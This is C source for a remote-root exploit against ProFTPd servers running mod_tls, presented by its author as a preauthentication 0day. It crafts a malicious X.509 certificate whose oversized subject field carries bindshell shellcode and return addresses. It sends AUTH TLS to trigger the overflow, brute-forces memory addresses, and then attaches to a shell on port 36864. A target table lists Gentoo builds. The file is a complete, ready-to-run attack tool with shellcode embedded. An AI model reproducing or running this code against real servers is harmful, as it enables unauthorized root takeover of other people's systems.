/* * *** Anti-modTLS-0day version 2 *** * * ProFTPd *.*.* + mod_tls remote-root-0day-exploit * * main advantages of this exploit: * 1) No patched mod_tls versions yet * 2) This is a preauthentication bug * 3) Bruteforcing option (eheheheee) * main disadvantages: * 2) Target mechanism isn't very well, cause exploitation * depends on library mapped address, so, there are no * strict categories. * 1) Dunno, if there are a lot of proftpd+mod_tls boxes * outta there. * * Bug found by: netris * exploit written by: netris * * -- ADD -- * * Hi there. Here goes the original exploit written in 2004 * (not in 2006 like some of you would guess), and found by * netris, not Evgeny Legerov. Big middle fingers to those * who fight for commercial security shit system. * Greets to arpunk, pandzilla, c0dak, mcb, c0de, ^sq, disque, * gamma, djang0 and many others of ex #phenoelit channel. * * netris. * * mailto: netris_spam@ok.kz */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define CODE_SZ 2322 #define DPORT 21 #define BSET(u,a,b,c,d) u = a*0x1000000;\ u+= b*0x0010000;\ u+= c*0x0000100;\ u+= d*0x0000001; #define checkz(a) int i;\ for(i=0;i<4;i++){\ if(a[i]<0x20)a[i]=0x20;\ if(a[i]>0x7f)a[i]=0x7f;\ } int ch,timeout=2,br=0; struct ADDR{ char *os; unsigned long call_reg; /* eax or edx */ }; /*bindshell, port 36864, offset 265, buf address is edx */ char shellcode[]="h22ImX522ImHRWPPSRPPaVUWWTBfRJfhdEfXf5YDfPDfh0PDTY09RUajWY" "0Loa0toafhoXfYf1LocjxY0Loe0Toe0ToffhH0fYf1Loh0tojjFY0Lok0t" "ok0tolfht9fXf1Don0TopjyX0Dor0TosjKX0Dou0Tov0ToxjIX0Doy0Toy" "G0tozGGfhsCfYf1LozGG0tozGGjZY0LozGGjkX0Doz0TozGGjGX0Doz0To" "zG0tozGGjAY0LozGf1tozGGG0tozGGjpY0LozG0tozGGjpY0LozG0TozGG" "jfX0DozG0tozGGjRX0DozG0tozGG0TozGj8Y0Loz0tozG0TozGfhlGfYf1" "LozGGGG0TozGG0TozGj3Y0Loz0tozG0tozGGjuX0DozG0TozGGjyY0LozG" "0tozGGG0tozGj4Y0Loz0tozG0TozGjqX0Doz0tozG0tozGfhyCfXf1DozG" "Gf1tozGGjFY0Loz0TozG0TozGjQY0LozGG0tozGj9Y0Loz0TozG0TozGjY" "X0DozGG0tozGjFX0Doz0TozG0tozGGjnY0LozG0TozGGjTY0LozG0tozGj" "gY0Loz0TozG0tozGGj4Y0LozG0TozGj9X0DozG0tozGfhKofYf1Lozf1to" "zGG0tozGfha5fXf1Dozf1TozGGj4X0Doz0TozGjYY0LozGGGGjHY0LozCn" "1qGvFXpvzvFxyvFqrNCOf26C9FcSwFR1T1jvFYOofvFfrNdvNjrNZOf2Gv" "2KCCOf2LvVyvViOfC2KyMOFj629OnA2FOfA29wVivvXxkrK8O224xra54v" "bingsh"; X509 *Create_Death_Certificate(EVP_PKEY **pkey); void set_subject(X509 *cert, X509_NAME *subject, X509_NAME *issuer); void DUF_add_entry(X509_NAME **subiss, char *field, unsigned char *bytes, int len); void setaddr(char *hname, struct sockaddr_in *sap, int port); void senddata(int sock, char *data); int shell(char *host,int port, struct sockaddr_in ad); void help(char *prname); SSL_CTX *ctx; SSL *conn; int sk; void handler(){ if(!conn->in_handshake){ SSL_shutdown(conn); SSL_free(conn); } close(sk); exit(0); } void step(char *str, int err){ static i; if(br) return; switch(err){ case 0: fprintf(stderr,"[%03d] %s\n",i+1,str); i++;break; case -1: fprintf(stderr,"[!!!] %s\n",str); break; case 1: fprintf(stderr,"[!!!] %s\n\t",str); ERR_print_errors_fp(stderr); } } /* Add targets here */ struct ADDR vict[]={ {"Bruteforce mode",0x40202020}, {"Gentoo Linux 1.4 3.2.3-r1 - openssl-0.9.7d",0x40235727}, {"Gentoo Linux 1.4.3.2.3-r1 - default install",0x40283a43}, {0} }; int main(int argc, char *argv[]) { int port=DPORT,aa[4]; char *host,*sport,opt; unsigned long saddr=0; struct sockaddr_in a; EVP_PKEY *key; X509 *cert=NULL; fprintf(stderr,"--< rebel-proftpd-modtls-0day\n"); fprintf(stderr,"--< netris @ duffsrebelz\n\n"); while((opt=getopt(argc,(void*)argv,"+b:t:x"))!=-1) switch(opt){ case 't':timeout=atoi(optarg);break; case 'b':sscanf(optarg,"0x%x",&saddr);break; case 'x':ch=1; X509_print_fp(stderr, Create_Death_Certificate(&key)); exit(0); default:help(argv[0]); } if(argc-optind!=2) help(argv[0]); ch=atoi(argv[optind]); if(host=strchr(argv[optind+1],':')){ if(!isdigit(*(host+1))){ step("weird arguments\n",-1); exit(-1); } host = strtok(argv[optind+1],":"); sport = strtok(NULL,":"); port=atoi(sport); }else host=argv[optind+1]; (ch==0)?(br=1):(br=0); SSL_library_init(); if(br) fprintf(stderr, "--< Ready, Steady, GO!!! >:O\n\n"); setaddr(host,&a,port); if(!saddr)saddr=vict[0].call_reg; aa[3] = (saddr >> 0) & 0xff; aa[2] = (saddr >> 8) & 0xff; aa[1] = (saddr >> 16) & 0xff; aa[0] = (saddr >> 24) & 0xff; checkz(aa); for(;;){ for(;aa[1]<0x7e;aa[1]++){ for(;aa[2]<0x7e;aa[2]++){ for(;aa[3]<0x7e;aa[3]++){ BSET(vict[0].call_reg,aa[0],aa[1],aa[2],aa[3]); fprintf(stderr,"[0x%08x]\n",vict[0].call_reg); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); cert = Create_Death_Certificate(&key); a.sin_port=htons(port); a.sin_family=AF_INET; if((connect(sk,(struct sockaddr*)&a,sizeof(a)))<0){ fprintf(stderr,"[!!!] couldn't connect\n\n"); close(sk); exit(-1); } senddata(sk,"AUTH TLS\n"); ctx = SSL_CTX_new(SSLv23_client_method()); SSL_CTX_use_certificate(ctx, cert); SSL_CTX_use_PrivateKey(ctx, key); conn = SSL_new(ctx); SSL_set_connect_state(conn); SSL_set_fd(conn,sk); signal(SIGINT,handler); step("establishing SSL connection",0); #ifdef DEBUG getc(stdin); #endif if(SSL_connect(conn)<0){ fprintf(stderr,"[!!!] No SSL enabled on %s\n\n",host); exit(-1); } step("shell spawn...",0); if(shell(host,36864,a)) exit(0); step("done, see ya later\n",0); X509_free(cert); if(!conn->in_handshake){ SSL_shutdown(conn); SSL_free(conn); } }aa[3]=0x20; }aa[2]=0x20; }aa[1]=0x20; } return 0; } X509 *Create_Death_Certificate(EVP_PKEY **key) { FILE *fd; time_t t; X509_NAME *subject=NULL; X509_NAME *issuer=NULL; ASN1_TIME *tbefore,*tafter; ASN1_INTEGER *serial; X509 *dz; /* certificate */ RSA *rsa; EVP_PKEY *pk; step("preparing dirty certificate",0); dz = X509_new(); /* private-key generation */ pk = EVP_PKEY_new(); rsa = RSA_generate_key(1024, RSA_F4, NULL,NULL); EVP_PKEY_assign_RSA(pk,rsa); X509_set_pubkey(dz,pk); /* version/serial */ X509_set_version(dz,0x2); /* version: 3 */ serial = ASN1_INTEGER_new(); ASN1_INTEGER_set(serial,0x01); X509_set_serialNumber(dz, serial); /* not-before/notafter validity */ tbefore = ASN1_TIME_new(); tafter = ASN1_TIME_new(); ASN1_TIME_set(tbefore,t=0); ASN1_TIME_set(tafter,t=60*60*24*366*65); X509_set_notBefore(dz, tbefore); X509_set_notAfter(dz, tafter); /* DN Subject/Issuer */ set_subject(dz,subject,issuer); /* let's make it self signed */ X509_sign(dz, pk, EVP_md5()); *key=pk; X509_NAME_free(subject); ASN1_INTEGER_free(serial); ASN1_TIME_free(tbefore); ASN1_TIME_free(tafter); close(fd); return dz; } /* yeah man */ void set_subject(X509 *cert, X509_NAME *subject, X509_NAME *issuer) { int i; char dc0de[6000]; memset(dc0de,0,sizeof(dc0de)); for(i=0; i<5000-1; i++) dc0de[i]='E'; for(i=258; i<258+sizeof(shellcode)-1; i++) dc0de[i]=shellcode[i-258]; i+=1; for(; i<3200; i+=4){ /* uhh, rude */ dc0de[i+0]=(vict[ch].call_reg >> 0) & 0xff; dc0de[i+1]=(vict[ch].call_reg >> 8) & 0xff; dc0de[i+2]=(vict[ch].call_reg >>16) & 0xff; dc0de[i+3]=(vict[ch].call_reg >>24) & 0xff; } subject = X509_get_subject_name(cert); issuer = X509_get_issuer_name(cert); DUF_add_entry(&subject,"host",dc0de,-1); X509_set_subject_name(cert,subject); X509_NAME_delete_entry(issuer,0); X509_set_issuer_name(cert,issuer); } /* This function can insert large fields */ void DUF_add_entry(X509_NAME **subiss, char *field, unsigned char *bytes, int len) { ASN1_OBJECT *obj; X509_NAME_ENTRY *ne; ne=X509_NAME_ENTRY_new(); obj=OBJ_txt2obj(field,0); X509_NAME_ENTRY_set_object(ne,obj); ASN1_mbstring_ncopy(&ne->value,bytes,len,MBSTRING_ASC,0,0,0); X509_NAME_add_entry(*subiss,ne,-1,0); } void setaddr(char *hname, struct sockaddr_in *sap, int port) { struct hostent *hp; memset(sap,0,sizeof(*sap)); sap->sin_family = AF_INET; if(!inet_aton(hname,&sap->sin_addr)){ hp = gethostbyname(hname); if(hp == NULL){ step("unkown host",-1); return; } sap->sin_addr = *(struct in_addr *)hp->h_addr; }else sap->sin_addr.s_addr = inet_addr(hname); sap->sin_port = htons(port); } int shell(char *host, int port, struct sockaddr_in ad) { u_char buf[4096]; fd_set fds; int sock; struct sockaddr_in a=ad; sock = socket(AF_INET,SOCK_STREAM,IPPROTO_IP); a.sin_family = AF_INET; a.sin_port = htons(port); if((connect(sock,(struct sockaddr*)&a,sizeof(a)))<0){ step("couldn't connect\n",-1); close(sock); if(!br) handler(); else return 0; } signal(SIGINT,SIG_IGN); fprintf(stderr,"\n--< %s just has been 0wned\n\n",host); for (;;){ FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(sock, &fds); fprintf(stderr,"\033[31m[duffshell]#\033[0m "); select(255, &fds, NULL, NULL, NULL); memset(buf, 0, sizeof(buf)); if (FD_ISSET(sock, &fds)){ read(sock, buf, sizeof(buf)); fprintf(stderr, "%s", buf); } if (FD_ISSET(0, &fds)){ read(0, buf, sizeof(buf)); if(strstr(buf,"exit")){ fprintf(stderr,"\n"); return 1; } write(sock, buf, strlen(buf)); } } } void senddata(int sock, char *data) { int i,c=0,j; char au[4]; fd_set ff; struct timeval tm; int r; FD_ZERO(&ff); FD_SET(sock,&ff); tm.tv_sec = timeout; tm.tv_usec = 30; memset(au,0,4); if(data){ j=0; send(sock,data,strlen(data),0); for(;;){ if(!(r=select(sock+1,&ff,NULL,NULL,&tm))) break; if((i=read(sock,&c,1))<=0) break; } } } void help(char *prname) { int i=0; fprintf(stderr,"usage: %s target hostname:[port]\n",prname); fprintf(stderr," -t :delay of data send/recv\n"); fprintf(stderr," -b :bruteforce starting address\n"); fprintf(stderr," -x :just the payload certificate and exit\n"); fprintf(stderr,"current targets:\n"); for(i=0;vict[i].call_reg;i++) fprintf(stderr," %d) %s ( %08x )\n",i, vict[i].os, vict[i].call_reg); putc('\n',stderr); exit(-1); }